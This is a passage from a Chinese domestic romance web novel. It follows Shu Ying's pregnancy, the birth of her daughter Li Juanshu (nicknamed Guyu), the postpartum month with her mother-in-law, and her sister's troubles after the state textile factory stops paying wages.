“能把你哄开心,我也满意了。”李固言摸了摸她隆起来的肚子问,“今天想吃什么?” 她前段时间妊娠反应严重,什么东西都吃不进去,这段时间才好了点。 舒英想了想说:“我想吃糖炒栗子,还想喝热乎乎的鸡汤。” “煲鸡汤中午时间估计不够,我晚上给你做吧好吗?我中午给你买糖炒栗子,现在又有卖烤红薯的了,还有烤玉米烤甘蔗,我中午都买点回来,看你想吃哪个。” “好。”舒英笑眯眯地看着他,先到院子里边踱步边等他,等他都收拾好后,拿了个小挎包出来,牵着她的手送她去上班。 经过吴家的院子,吴嫂子也还没走呢,看见两人问了声:“上班去啊?” “是,上班去。” 等人走后,吴嫂子忍不住跟吴哥感叹说:“还是李工会疼人,你看我那时候怀孕就没见你这样体贴。” 两人到了二院门口,李固言将挎包挂在舒英身上说:“你进去吧,我也去上班了。” “好。”舒英眼睛弯弯,她现在怀孕,白天特别容易饿,他每天都会给她挎包里装好多小零嘴,什么饼干啊,巧克力啊,红枣,核桃这些,装满满一包,第一天吃了,第二天就又给补上。 李妈等到休息日也过来机械厂这边,带了一大包的东西,自己蒸的花卷馒头,叠的韭菜盒子,炒得一罐子酱豆。 她来的时候,李固言正好出去了,舒英见她带了这么多东西,赶紧上前帮忙拿着。 李妈怕她闪了腰,用胳膊拦着没让,“这个轻,你拿这个就行。” 李妈打量着她的状态说:“你现在胎稳定些了,也好受点了,不过等到后面肚子再大点就又要难受了,腰上跟坠了个西瓜一样,弯腰都不好弯。” 两个人进了屋里,李妈先看见了桌上摊开的书,说:“固言说你现在准备明年的考试呢,你这还怀着孕,应付得过来吗?” 舒英笑了笑:“还好,还不太紧张。” “妈就喜欢你们这样好学的孩子。”李妈道,“不过你现在还是怀孕要紧,考学啥的等孩子生出来再说嘛,也不急。” 舒英知道老一辈人的想法跟她们不一样,也不反驳,只笑道:“看看书学会儿习也正好打发下时间嘛,而且看书有什么辛苦的呢,像你跟我妈那时候,怀着孕也得在厂里干重活,你们那时候才是真的辛苦呢。” 她这一恭维,李妈也畅心如意,笑得都更亲切了些,说道:“是呢,说起我们年轻的时候,那是真辛苦,就这我们还是进了厂子有工作的,有些乡下的,大着肚子还得下地,那时候穷啊苦啊,没办法,唉。” “不过好在固言他们姊妹三个从小就争气,知道家里过得辛苦,一点也不吵不闹。”李妈说完又叹口气。 舒英脸上挂着浅浅的笑,因为怀孕,小脸也圆润了些,显得更有母性的温柔。 李妈又说:“现在家家就让生一个小孩,你这要正好是个孙子就好了。” 正好这时候李固言回来了,看见李妈来了,婆媳俩人正坐着聊着天,随口问了嘴:“聊什么呢,笑得这么开心。” 李妈看见儿子,脸上堆起笑,道:“正跟你媳妇儿说呢,说这一胎要正好是个男孩就好了。” 李固言听到这话李妈看向舒英,见她脸上没什么异样才暗暗松了口气,对李妈说:“妈,现在什么时候了,男孩女孩都一样,都是咱的孩子,万一是孙女,你到时候总不能因为不是孙子就不疼了吧?”他是知道的,舒英最烦别人说她怀的要是男孩就好了,说得好像如果是个女孩就不配被期待一样。 李妈白了他一眼:“你竟瞎说吧,那我是盼着抱孙子,要是个孙女我也照样疼。” 李妈也就是随口一说,见两人都不太开心,也就岔过这个话题,将自己带来的花卷拿出来,递到他俩手里,“尝尝,我今天一早起来蒸的,这个花卷里面放了红糖,给小英吃,这个里面放了点青辣椒,固言你吃。” 舒英咬了一口花卷,红糖因为高温已经融化在花卷里了,甜滋滋的,味道很好。 她笑道:“还是自己家蒸的好吃,外面买的,就是没这个味道。” 李妈也笑:“你喜欢就行,回头我还给你们蒸。” 舒英现在胃口好得很,连吃了两个花卷,又蘸着酱豆吃了一个馒头才停下来。 李固言看着她吃,都没敢给她喝水,怕她胃里胀。 李妈在这边待了一天,帮着把家里给大扫除了一遍。 院里的月季花一月一开,李妈瞧了也忍不住夸:“这花开得真好,凑近了闻还有股子香气。” 李固言道:“月季花好养,夏天的时候还会招蝴蝶蜻蜓过来。” “行,天儿也不早了,我今天回去了,你别送了,好好看着小英。” 第30章 第 30 章 又一年 进了腊月, 天气越来越冷,安城也下了一场雪。 窗外雪花飘飘,星星点点落在玻璃窗上, 瞬间融化, 房间里烧了煤火炉,倒不很冷,舒英坐在书桌前朝外看, 月季花现在已经不开了,枝干上面也落满了雪花。 院门被从外推开,李固言推着自行车挟着满身风雪进来,一抬头正好与屋内的舒英对视, 眼见着她起身要出来,他赶紧掸了掸身上的雪,走到门口时又跺了跺脚。 舒英抱着肚子看着他,笑道:“买了什么?” 马上要过年了, 家里要买些年货, 商场上人挤人,她怀着孕不能去, 就只能李固言自己去买。 “买了沙糖桔, 一包糖果,有花生芝麻糖,还有奶糖和太妃糖,一条猪大腿, 还有十斤牛肉。”李固言笑着指着自行车后座上叠着的一堆东西。 舒英看过去,放得满满当当,压得车都隐隐有站不住之势,也不知道他一个人怎么买这么多的。 她竖起拇指, 夸赞说:“买的很齐全,够我们吃到过完年的了。” 李固言一点点地将东西往房间里搬,舒英要帮忙,他赶紧道:“你在那看着我搬就行了,这边冷,你到里屋看电视吧,我马上就收拾好了。” 舒英看他架势是不肯让她帮忙的了,只好说:“那你收拾好也赶紧进来暖和暖和,冻得手都红了。”她心疼得搓了下他的手背,又揉了揉他冰凉的耳朵。 李固言笑起来,答应道:“好,马上就弄好。” 舒英先进了里屋,将煤炉上坐着的水壶拿起来,灌了个热水袋,等他忙完进来后赶紧塞到他怀里:“暖暖。” “嗯。”李固言抱着热水袋,因为手冻得太冰,猛一抱着,还觉得有些发烫。 舒英看着外面的雪说:“今年这雪下得真好看,飘到玻璃窗上清晰地能看出形状。” 李固言闻言顺着她手指的方向去看,果真在窗户上看到了六边形的冰晶状雪花,不过室内温度高,雪花在玻璃窗上也撑不了多久,转瞬之间便消融了。 就在他盯得出神的时候,突然听旁边的舒英道:“我有点想出去玩雪。” 他转过头去看她,她一双大眼睛忽闪忽闪地眨着,让他连拒绝的话都说不出,但外面天冷,他思索了下后问:“我给你挖一桶,你在房间里玩?” “行。”舒英小点着头答应,又道,“你把手递给 我。” 李固言不解地递过去,舒英在他手上摸了下说:“嗯,捂热乎了,你去挖雪吧。” 李固言没想到她让他把手递过去就是为了手有没有被捂热,有些好笑地刮了下她鼻梁:“你这个主家还挺有良心的,还会关心长工的手热没热。我现在就去给你挖,挖一大桶,让你玩个够!” 舒英笑了笑,没理他的打趣,等他出去后扒着窗户看他挖雪,边看还要边指点:“那边的,那边的雪干净些。你别光可着一个地方的挖啊,挖到底了的脏。” 李固言倒是听话,她指哪他挖哪,挖了满满一桶才在舒英满意的目光里拎着进了屋。 怀孕的人不好弯腰,李固言先将饭桌搬进来,在桌子上放了只大盆,将桶里的雪都倒进了盆里,一切弄好后才道:“玩吧。” 舒英看着他忙前忙后,脸上一直挂着笑,等他起身后将热水袋递给他,坐到桌边开心地堆起雪人来。 今年舒英怀孕,过年不用值班,李固言借口要照顾她也推了过年的值班,两人一起回了李家。 到了寒假,李固萱也回来了,对舒英肚里的孩子很是稀罕,非要趴在她肚子上听胎动。 李固言拉着她说:“你头这么大,别压到了阿舒的肚子。” 李固萱听到这话,没抑制住地就要朝他张牙舞爪,哼哼道:“我的头跟你比起来可是小巫见大巫了。” 舒英笑着,摸着肚子说:“别理你哥,不过我现在胎动还不是太明显呢。” 李固萱冲李固言翻了个白眼后坐在她旁边笑道:“大姐当年怀孕的时候,我就有趴在她肚子上听,扑通扑通的,可神奇了,后来就看着齐齐从巴掌大的小不点长到现在,会奶声奶气地叫我小姨。” 舒英道:“那你明年就要新增一个身份,要做小姑了。” “哎呀,到时候两个小萝卜头都跟在我屁股后面,想想都觉得好玩。” 李固言瞧着她的样子笑着对舒英说:“这下光杆司令手下也要有两个兵了。” 李固萱哼了一声:“到时候我带的这两个兵反的第一个就是你。” 厨房里传出香味来,李妈端着一筐炸丸子出来,笑吟吟道:“行了,你们兄妹俩别拌嘴了,刚炸好的丸子,就这时候好吃,快趁热吃吧。” 李固言接过来,先给舒英递了几个,油炸过的丸子,焦黄焦黄的,越嚼越香,舒英这几个吃完后又吃了一碗。 李固萱看她一下吃这么多都惊了,问:“嫂子,你吃这么多,肚子不会难受吗?” “还好,自从怀了孕我胃口越来越好了,到现在都快胖二十斤了。”舒英笑起来,原先的尖下巴已变得圆润,小脸也丰盈许多。 “没事,嫂子,我听她们说年轻生孩子恢复得快,你还这么年轻,等小宝宝生出来,肯定很快就又受回怀孕前了。而且我觉得嫂子你现在也可漂亮了,特别像西方的油画女郎,光泽柔和,充满光辉的那种。” 她言辞夸张,听的舒英自己都脸红,摆了摆手说:“哪有你说的那么好看。” 今年除夕三人没打牌,春晚还没看完就各自回房间睡觉了。 外面烟花与鞭炮齐鸣,除夕氛围浓厚,房间里开着暖黄的灯,烧着煤炉,煤炉中时不时发出“噼啪”一声。 李固言一边摸着舒英的肚子,一边捧着一本《唐诗三百首》读,不知道他是从哪听说的,说怀孕的时候,可以多给孩子读一读书,这样孩子出生后会很聪明,他现在天天都要拿着本书读一读,还要精挑细选一番,普通的没营养的杂志都要觉得会污染了他孩子的耳朵。 舒英摸着他头,觉得他幼稚又可爱。 “哎!” “怎么了?”他突然叫一声,把舒英吓一跳。 “动了!她在踢我。”李固言立马将耳朵贴上去,仔仔细细听着小孩子的动静,又赶紧去拿录像机过来录着。 “又不是第一次了,你怎么还这么激动?” “感受到一次就要录一次嘛,到时候等孩子出来了给她看,她肯定也会觉得很神奇,是自己在妈妈肚子里的时候呢。”李固言录着录着将摄像头上移,对准她的笑脸,他觉得李固萱说的话一点都不夸张,她现在尤为的漂亮,脸上带着一股平和的韵味,让人看得目不转睛。 过完了年,初二照例要走娘家。 李固萍带着齐齐过来,齐齐今年长大一岁,又高了许多,看到舒英挺着肚子,也张着小手要碰一碰,欣喜道:“舅妈,弟弟妹妹什么时候能出来陪我玩?” 他童声稚语,舒英将提前准备好的压岁钱递给他笑道:“今年就能见到弟弟妹妹了。” 李固萍摸着齐齐的头笑道:“舅妈给了你红包,你要说什么?” “要说谢谢!”齐齐听妈妈说完后就转头看向舒英,露出一张大大的笑脸甜甜说,“谢谢舅妈!” 舒英瞧着他也忍不住弯起眉眼笑起来:“不用谢~” 到了舒家,舒秀珍已经抱着贝贝和严磊来了,贝贝一岁多点,已经会叫爸爸妈妈了。 冬天冷,舒秀珍给她包得严严实实的,就漏了一张小脸在外面,小脸粉扑扑的,一双大眼睛水灵灵的,要多可爱有多可爱。 舒英把给俩孩子准备的红包拿出来,一个递到贝贝手上,一个塞到宝宝的小包被里。 舒妈端了几杯热水过来:“喝点热水,暖暖身子。” 舒英把热水捧在手心里暖着,瞧着舒秀珍的眉间有丝愁容,她看了一眼旁边的严磊,也是一样,她拉上她的手,忍不住低声问:“又吵架了?”也不怪她忧心,这半年来舒秀珍跟严磊时常发生矛盾,她都不止一次从舒妈嘴里听到了。 舒秀珍摇摇头,道:“不是,唉,是厂子里。” “厂子里怎么了?”舒英一脸担心问道。 “厂里这一年效益都不好,以前过节什么的还给发个面啊油的,从上半年开始这些福利就都没有了,这些东西没有了,虽然有些可惜,但也还能接受,问题是下半年开始,厂子就更不行了,有两三个月都没发工资了,这过年怕工人们闹,才给发了点钱说给大家伙们过年。” “问题是今年就这样过去了,明年可怎么办?”舒秀珍抱着贝贝,亲了一下她的小脸,贝贝被亲后也张着嘴糊了她一脸的口水,舒秀珍无奈又喜爱地笑起来,看着她的眼神中有些不忍,“贝贝现在还这么小,这段时间请保姆的钱都是以前的存款,过完年连保姆都请不起了,说把她送托儿所去,我是真的心痛,哪里舍得啊?” 舒英也是一脸不舍,贝贝现在话都还没说利索呢,就给送到陌生环境那里一呆一整天,哪家的大人能放得下心啊。 舒妈在旁边听着,这些话舒秀珍之前也没在她面前说过,看着大女儿这么受苦也把她心疼得不行,苦着脸说:“秀珍啊,你之前怎么不跟我说呢?” 本来舒秀珍今天也没准备说的,当了妈妈后她更懂得做母亲的不易,也不想让舒妈这一把年纪了还跟着操心她的事,只是迎着妹妹的关心,心里也实在是郁闷,这才没忍住。 她重新收拾好心情,脸上露出笑,道:“没事妈,关关难过关关过,路到桥头自然直,总会有办法的,总不会把我们一家子给饿死的。” 舒妈看着贝贝,端了碗鸡蛋羹要喂她吃,说:“贝贝还送什么托儿所啊,到时候你白天就给送到我这儿来,晚上你再接回去,贝贝是我亲外孙女,让外人看着我也不放心,还是咱自己照顾得好。” 舒秀珍听到这话,眼泪“欻”一下就淌下来了,她有些不好意思,赶紧用手将眼泪抹去,破涕而笑说:“那这样最好不过了,贝贝放妈这我最放心不过了。” 舒秀珍一向要强,何时哭得这样心酸过,舒英心有不忍,看着贝贝脚上的虎头鞋,更觉难受,她姐这人就是嘴硬心软,李固言看着她的表情,将她手里温掉的水又重新换成热的。 王梅见她哭成这样子,也不好再说什么,抱着儿子哄着,没管她们母女之间的商量打算,总归人家是亲母女,她说什么人家也不乐意听。 可贝贝安排好了,厂子效益该起不来还是起不来啊,光干活不发工资,这怎么能行呢?舒英问:“那你们这年过完还回纺织厂上班吗?” 舒秀珍笑了笑:“这不发工资,还回什么啊?我想着过完年就去街上先摆个小摊卖点鸡零八碎的东西,能挣一点是一点,其他的再走一步看一步吧。” “这样也行。”舒英点点头,“总归家里能有个进项,总不能坐吃山空。” “是啊,这一直没有收入,到处都是花钱的地方,家里就算是有座金山也经不起啊。” 舒妈还是有些担心:“这样能行吗?”她还是觉得厂子里上班安稳,是铁饭碗,在外面做小生意,刮风下雨的,哪里能行呢? “不行也得行了。”舒秀珍道,“厂子里是安稳,但发不出工资的安稳又有什么用?” “唉。”舒妈叹息一声,看着姐妹俩也有些感慨,“当初你姐俩都考上中专,毕业后都包分配工作,你进了国营厂,英儿进了二院药房,那时候我们还寻思着能不能给英儿疏通疏通也进厂子,没想到现在反而医院更稳当了,二院现在也好起来了,真是没想到啊。” “是啊,这谁能想得到,一个好好的国营厂,说这样就这样了。”舒秀珍叹一口气,“这些国营厂三角债欠的太多了,听说外面也倒闭了不少厂子了,我们厂也不是第一个。” 他们都是时代里的小人物,一家厂子的生死存亡关乎着他们的工作生活,但他们却无力制止,只能哀声叹息,再转而去寻求其它出路,活人总不能被尿憋死。 一个年节过去,新的一年又开始了。 舒英和李固言回到机械厂,机械厂的效益目前还是比较好的,家属院里也一片祥和,今天出太阳,各家都把被子抱出来晒,又或者把该洗的衣服也都拿出来洗,空气里都飘着一股子洗衣粉的清香。 舒英在家属院里散着步,看见吴晓丽在院子里看书,吴晓明不知道又牵着汪汪去谁家玩去了。 吴晓丽年前刚升的高一,考上了安城一中,当时喜得吴嫂子还带了几桌子酒。 舒英看她读得认真,本没打算跟她说话的,没想到晓丽抬头看见她了:“阿姨。” 舒英停下步子,见她放下书跑过来笑道:“慢点,别摔着。” 晓丽过来是看她一个在在这边走,她问道:“阿姨,叔叔呢?你怎么自己出来了。” “他在家打扫卫生呢,我就在这旁边转转,不走远。” 晓丽忙过来扶着她说:“那阿姨我陪你一起走走吧,正好我看书也看累了。” “那我们俩晒晒太阳走一走。”舒英牵着她的手笑盈盈的。 两个人正说着话,吴嫂子听见动静也从房间里出来:“我就说好像听见了你的声音呢,怎么样,过年回家开心吧?” 舒英笑眯着眼点点头:“开心开心。” 吴嫂子也过来挽上她一边胳膊道:“走,我跟你们一块儿走走。”说完还冲隔壁院子喊了一嗓子,“李工!我们陪小英在这边走走了,你别担心啊!” 舒英没预料她突然吼这一声,紧接着就看见李固言从房间里出来,他忙来忙去的,为便宜些,身上厚重的棉袄已经脱掉了,里面穿着的还是前年给他织的那件红毛衣。 “行,嫂子,那你们配着阿舒,我也放心了,谢谢啊。” “谢啥,不用谢!” 三个人便慢慢沿着家属院的小路走,边走边闲聊。 舒英道:“晓丽,一中怎么样?压力大不大?” “嗨,别提了,这一中真不愧是好学校,里面都是尖子生,晓丽在初中的时候是她们班第一名了,结果到了高中,整个班里都是第一名,她现在天天学习辛苦得很。昨天还跟我说觉得眼睛看东西模糊了,说可能要配眼镜。”吴嫂子一挥手道,“你说这大学还没考上呢,倒先把眼睛给看坏了!” 晓丽在旁边挠挠头,有些不好意思的样子,舒英瞧着她说:“没事,我看着现在戴眼镜的学生也不少呢。” “谁说不是呢,说起这个就好笑。”吴嫂子咧嘴笑起来,“她们班年前开家长会,我到他们班一看,好几个小孩鼻梁上都架着一副厚厚的啤酒瓶底呢,一个个看过去跟老学究一样。我还说那么厚的眼镜得多重啊,戴一天鼻子都得压疼了。” 她话说完,脑子里想到那幅画面,自己又忍不住哈哈笑起来。 舒英也被她说的笑起来,看着晓丽道:“晓丽眼睛这么漂亮,要是被眼镜挡住就可惜了。” 吴嫂子:“可惜也没用,我看她这个眼镜是免不了了。” 过完了年,马上又要到春天了,春回大地,春暖花开,是一年四季中最舒适的一个季节。 舒英的肚子也越来越大了,因为方便,所以她的孕检都是在二院里做的,孩子胎心强健,四肢俱全,各项检查也都很正常。 是个健康的宝宝。 这天天阴阴的,像是要下雨,舒英还没下班就盯着外面看。 果然,没多少会儿,雨就下起来了,淅淅沥沥,连绵不绝的,也不打雷,也不闪电,干干净净地就只是下雨,若是空闲时分,赏赏雨倒是很好的乐趣。 小胡也听到了外面的雨声,抱怨道:“好讨厌下雨,一下雨,公交车就容易晚点。到处还湿乎乎的。”她说完又撑着头看向舒英道,“姐,真羡慕你啊!” “羡慕我?”舒英歪了歪头,有些不解问,“羡慕我什么?” “羡慕你住得这么近啊,下雨天也不用赶公交,真好。”小胡说着说着突然又凑到她面前,促狭笑起来,“还羡慕你有个好老公,日日接送,刮风打雷,下雨下雪,都没停过,我们私下里都说呢,这要是在古代,姐夫说不定都能评进二十四孝!” 舒英听她胡七八诌,哑然失笑:“天天接送就是好老公啦?” “当然啊!”小胡理所当然地点点头,“这不算好老公,那怎样才算?总不能那种天天抽烟喝酒,还打牌家暴的算吧?” 舒英温柔笑着看着她道:“我现在怀孕了,他作为丈夫有责任天天接送我,要不然这一路上我要是突然摔了一跤怎么办?不过他这个行为的确是值得表扬的,但不能只因为他这样做了就说他是好老公,而是正常老公都应该这么做,不正常的才会不这么做。” 小胡摇了摇头:“姐,真不是我说,我还真没见过几个像姐夫这样的男人,别说正常老公了,哪有多少男的会天天跟点卯似的接送妻子上下班的,就算是点卯也还有请假迟到的呢。” “所以找男人还是得擦亮了眼睛,像你说的那种都不是什么好人,没什么责任心的,要不得要不得。” 还没到下班的点,李固言就到了,守在更衣室门口等着,他现在天天来,所以经过的医护们都认识他,看到他后也都冲他打了声招呼。 舒英从更衣室出来看到他后,就把下午小胡跟她夸他的话跟他学了一遍。 李固言笑起来问:“那你怎么说的?” 舒英才不会跟他说实话,也笑:“那我肯定顺着夸你呀,夸你比所有人都好,夸我嫁了个好老公。” 李固言不知道她话里的真假,但的确是被哄的很开心,唇角翘起来,轻咳了声说:“也没那么好。” 舒英憋着笑觑了他一眼,没说话。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 30-40 第31章 第 31 章 李眷书 农历三月多, 舒 英就住进了医院待产,李固言和李妈晚上白天的交替陪产。 舒妈和舒秀珍一有空也要过来陪一会儿。 舒妈现在要带贝贝和宝宝,两个孩子闹腾着, 舒英觉得她比上次看上去又憔悴了些。 到了农历三月六, 舒英破了羊水,被推进了手术室,舒家和李家两家人都闻讯赶过来, 守在手术室外面。 李固言听着手术室内的动静,神情紧绷,不知为何,就觉得自己的肚子也在疼, 像有一只无情的手,在肆意翻搅他的五脏六腑,将其搅成一团乱麻,连疼都让人分辨不出来具体是哪在疼。 李妈看了他一眼, 他头上冷汗淋漓, 眼神里都是担忧恐惧,她无奈的摇了摇头, 自己的儿子自己知道, 他这辈子是离不了舒英了。 李固言在外面干等着实在恐慌,央求护士想要进去陪产,护士们都认识他,犹豫了下后道:“我进去问问。” 她们医院生产, 是没有让男方进产房陪产的先例的,一个什么都不懂的外人进手术室,也怕发生意外,但现在生产的人是她们自己本院的同事, 自己人好说话,只要医生同意,再给他做好消毒防护,倒也不是不能把他放进去。 舒英正躺在床上,听见护士说他想进来陪着,也惊了一瞬,就听医生笑起来答应:“行,带他进来吧,注意做好消毒,穿好防护服。” “哎!” 舒英睁大眼睛看着她们,医生吩咐完也看着她开玩笑:“消毒和防护服的钱可得让你爱人出啊。” 这时候是说钱的事吗?她还没听说过哪家医院妻子生产,丈夫也会进来看着的。 没多会儿,李固言就全副武装的进来,脸上带着口罩,头上带着手术帽,只露着两颗有些红肿的眼睛在外面。 舒英瞧着想笑,但身下疼得又让她笑不出来,只是伸出手递给他。 李固言赶紧接过她的手贴脸握着。 整个生产过程李固言都陪同在侧,亲眼看见舒英的煎熬痛苦,喊到嗓音都嘶哑,握着他的手用力到变形,费尽了全身力气和勇气才成功将孩子生下来,正个人便又如虚脱般躺倒下去,累到眼皮都难以动一下。 他也哑着声音,伏在她旁边,握着她的手一刻不曾松开。 医生抱着孩子笑道:“是个小千金呢。” 舒英听见这句话,脸上也有些无力地笑起来,她用尽了全身力气生下的孩子呢,她迎来了一条崭新的小生命。 李固言用额头蹭她的手背,干涩着声音低低道:“我们的女儿,我们的女儿。” “嗯。”舒英现在身上已经没有力气再说话了,只轻轻应了一声后便沉沉睡去。 等她再醒来的时候,单人病房里已围了许多人,坐在旁边轻声聊天。 李固言一直在她床边守着她呢,见她睁眼道:“醒了?有没有哪里不舒服?渴不渴要不要喝点水?我还熬了鸡汤,要不要现在喝点?” 他一连串问许多问题。“嗯。”舒英躺在床上,浑身还没有什么力气。 舒妈抱着孩子过来,笑道:“生了个女孩子,固言说叫眷书,说什么挚、挚爱之心的意思。” 这名字是舒英和李固言提前就取好了的,舒英弯唇笑了笑。 李妈也笑盈盈的说:“这孩子来的日子巧,正赶上谷雨了。” 舒英顺着她的眼神看了看,窗外淅淅沥沥滴着小雨,她笑了笑,说:“那小名就叫谷雨吧,谷雨谷雨,雨生百谷。”名字也只是个称呼,她们本来是没打算给孩子再取个小名的,但孩子生的时间巧,正在谷雨时节,不能辜负。 舒妈连忙逗了逗孩子:“你好啊,小谷雨。” 中午休息时间,小胡和同事们听说她醒了也从外面进来看望,嘻嘻哈哈地拎了几个人一块儿买的果篮和奶粉。 舒英看着她们拿的东西赶忙道:“来就来,买什么东西啊?” 小胡走到婴儿床旁看了眼熟睡的谷雨,“哎呀,来看看我外甥女不得代些见面礼啊?宝宝起名字了吗?” “起了,小名叫谷雨,大名叫李眷书。” “眷书,李眷书,这名字好听,一听就很有文化的感觉,谷雨也好听,大名小名都这么朗朗上口。”小孩太小,像是易碎的玻璃制品,小胡只是看着,没敢上手碰。 在医院住了两天后,舒英就抱着孩子回家坐月子了。 为了照顾月子,李妈这段时间也住到了机械厂。 “现在天气还不很热呢,坐月子可不能松懈,得注意好保暖,千万不能受寒,要不然以后容易落下月子病。”李妈将床铺好后,让舒英躺上去,又给拉了一条被子盖上,“可记住了,月子里不能洗头,不能洗澡,不能碰冷水。” 舒英浅笑着听着,在听到说不能洗头不能洗澡时,脸上表情肉眼可见的变了一下,她虽然没洁癖,但实在受不了一个月不洗头不洗澡,这样忍一个月,身上得多难受,恐怕出了月子,床上的被子床单枕头都能扔了。 李妈见她不乐意,立马道:“可不是我故意唬你,你妈你姐也都是这样忍过来的,谁家怀孕生子都是这样,这时候身体虚,洗澡最容易生病了,这一病可一辈子都不能好。” 舒英勉强笑了笑,知道婆婆也是好心,但其实月子里是能洗头洗澡的,只是要做好保暖措施,以前的人不让这样做,也是因为那时候条件不好,做不到保暖,就只能裹着被子不下床。 但她知道这个道理,她也想洗澡,可李妈在这儿看着她,她又坚持月子里不碰水的己见,实在让她不知道怎么在她眼皮子底下洗澡。 李固言一边听着李妈的话,一边观察舒英的表情,插话笑道:“洗还是要洗的,到时候我们把门窗关严一点,先用热水把房间哈出热气,再洗得快一点,不会受凉的。” 李妈见他俩不听劝,无奈地摆摆手:“算,我说不过你,你们要洗就洗吧,当心别着凉了就行。” 舒英笑了笑,看着谷雨在她怀里嘴巴一努一努地吃奶,闭着眼睛,用力极了。 等吃过了晚饭,李妈看着里间的床突然对李固言说:“今晚我陪小英睡,晚上也好照顾谷雨,你明天还要上班,你自己在外间也能睡个好觉,而且你身高体长的,要是跟小英睡别挤到她了。” “不用,妈……”李固言赶紧出声,想要阻止她的这个决定,不想又被李妈打断,“就这么说定了,小英这才生完没几天,身体虚着呢,受不了挤,谷雨几个小时就要吃一次奶,你跟着一块儿睡,也睡不好。” 舒英还是更希望跟李固言睡的,但李妈态度强硬,她也就没说这话,只听她说什么是什么,只要夜里有人给她哄孩子,能让她睡得好一点就行。 到了时间,李固言不情不愿被李妈赶到外间去,外间平时用来吃饭的桌子被移到了旁边,空出来的位置放了张简易行军床,舒英住院的这几天,李妈就睡在上面,今天开始要换成他了。 里间,舒英抱着谷雨睡在靠墙的里侧,盖一床被子,李妈睡在外面,另盖一床被子。 李固言在外间躺在床上迟迟睡不着,透过门上的玻璃往里间看,但视线被玻璃后过着的纱帘阻隔,什么都看不见,他现在有点不习惯睡觉的时候舒英不在旁边,也不知道她现在睡着没有。 舒英也没睡着,她搂着谷雨,黑暗里,听着她小猫一样的呼吸声,心中充满的满足,小谷雨现在小小的,还没她的胳膊长,这几天她时常觉得梦幻,好像十月怀胎都只是她做的一场梦一般,只是梦醒了,小孩也出来了,还就躺在她身边。 她正轻笑着,请听见一声呼噜声,呼噜声? 她疑惑地将目光朝外延展,只见李妈睡得正香,这声呼噜也是她发出来的。 舒英有些惊讶地瞪大眼…… 李固言闭着眼,也听到了房间 里传出来的声音,舒英一向不打呼噜的,那就只有他妈了,估计也是这几天一直忙前忙后实在是累了。 但她睡在舒英旁边,恐怕又会朝着她,她还得给孩子喂奶,夜里一定得睡好才行,李固言掀开被子起身,推开里间的门,轻轻走到床边将李妈唤醒:“妈?妈?” 李妈迷迷糊糊地睁开眼坐起来,“哎呦,怎么了?你怎么起来了?” “不是妈,你刚才打呼了,肯定是这几天累到了,你白天还得做饭照顾小家伙,夜里也得好好睡,要不咱俩还是换换吧,你到外面睡,我夜里陪着她们娘俩就行。” 李妈听到这话一脸的欣慰,又问:“那你明天还得上班,能行吗?”睡在舒英旁边可不能只是睡觉,夜里要照顾起夜的,刚出生的小孩也离不了人,有的折腾呢,她也怕耽误儿子第二天的工作。 李固言笑着点点头:“放心吧妈,不会耽误我上班的。” “那行吧。”李妈从床上起来,又看了眼舒英母女俩后,披着衣服朝外间走。 李固言又重新躺到舒英旁边后,伸手摸了摸她的背道:“你安心地睡,谷雨交给我。” 舒英亲眼看着他这一连串动作,忍不住笑出声来:“嗯。” 一个月子过去,舒英被好好的伺候着,脸上瞧着又圆润了几分,等出了月子,舒英一上称,从怀孕到生完坐月子,她整整胖了三十斤,现在已经快一百四了。 舒英苦着脸,她现在胳膊腿上肚子上都是肉,这些肉也不知道要花多长时间才能减掉。 李妈连忙安慰她:“你还年轻,不要着急,好减得很,而且你个子高,一百四瞧着也不胖,正正好。” 以前舒英跟李妈没有住在一起这么长时间过,这还是第一次,相处下来,舒英反而对她有所改观,觉得她不像以前那样总是挑她的刺,虽然有时候也会对她的一些行为欲言又止,好像很看不惯的样子,但好在每次话到嘴边又都被她自己咽了下去。 舒英有时候瞧着她想数落她又顾及着她坐着月子而强忍着,那一副被憋到不行的样子就觉得好玩想笑。 舒英出月子,小孩也满月了,他们便挑了一个星期天办满月宴,说是给孩子办满月宴,其实是回请包了红包的人吃一顿饭。 满月的小孩,皮肤已经展开了,不像刚出生时皱皱巴巴的,看上去圆滚滚的可爱,李固言对她是尤其宠爱,天天早上起床第一件事就是去把相机拿过来给她拍一张照片,这一个月下来,胶卷都用完了好几卷了,拍的照片要是洗出来该有厚厚的一叠了。 李固言还特意从中调了两张拍的最好的照片找人做了两张招牌,在满月宴的时候放到饭店门口,来的人第一眼看到的就是这两张硕大的照片,倒是十分新奇。 满月宴这天,饭店里热热闹闹的,来了一大堆人,李家的大姐一家三口,李固萱也提前从省城回来,舒家的舒爸舒妈,舒文佑王梅两口子带着宝宝,舒秀珍严磊两口子带着贝贝,以及还没成家的舒武茂。 除了舒李两家人,还有家属院的邻居们,以及两人工作上的朋友。 这段时间贝贝还在舒家被舒妈带着呢,就连来都是跟着舒妈和王梅一块儿来的。 舒秀珍过完年后就去摆了小摊,卖了一段时间小玩意儿,后来被挖去了一家私人公司里做业务员,现在收入不错,瞧着又意气风发了。 相较之下,严磊反而有些不如意,工厂发不出工资,他家里给他疏通了个关系,也给他在私人公司那找了个会计的班上,但他跟同事之间处的不太好,也不得老板的喜欢,收入更是一般,还不如之前在纺织厂的。 舒秀珍端着酒杯侃侃而谈道:“这做了妈妈呀,才真是懂得了做妈妈的不易,英儿,是吧?” 王梅见她这样说忍不住翻了个白眼,没等舒英说话,就意味不明笑着插话道:“是啊,当妈的都不容易,不过我瞧着你还挺容易的,孩子也不用你带,也不吵你也不闹你的,这还有什么不容易的呢?” 舒英听到这话看着她皱了皱眉。 舒秀珍长眉一挑,笑道:“嫂子这话不知道怎么讲?我的孩子乖还不行吗?” “呵,真乖啊,天天都放在我面前看着,有什么不乖的?”王梅边哄孩子边呛声。 舒秀珍脸色一变,又顾忌着是在谷雨的满月宴上,哼了一声没说话,将杯子里的酒一饮而尽,又把贝贝从舒妈怀里抱过来,问:“贝贝,喜不喜欢妈妈呀?” “喜欢~”贝贝现在快一岁半,声音软软糯糯,眼神又充满童真,萌倒一大番人。 舒英瞥了他们一眼,席上找了空闲拉着舒秀珍道:“姐,你陪我去一下厕所。” 舒秀珍不疑有他,挽着她的手跟着一块儿去。 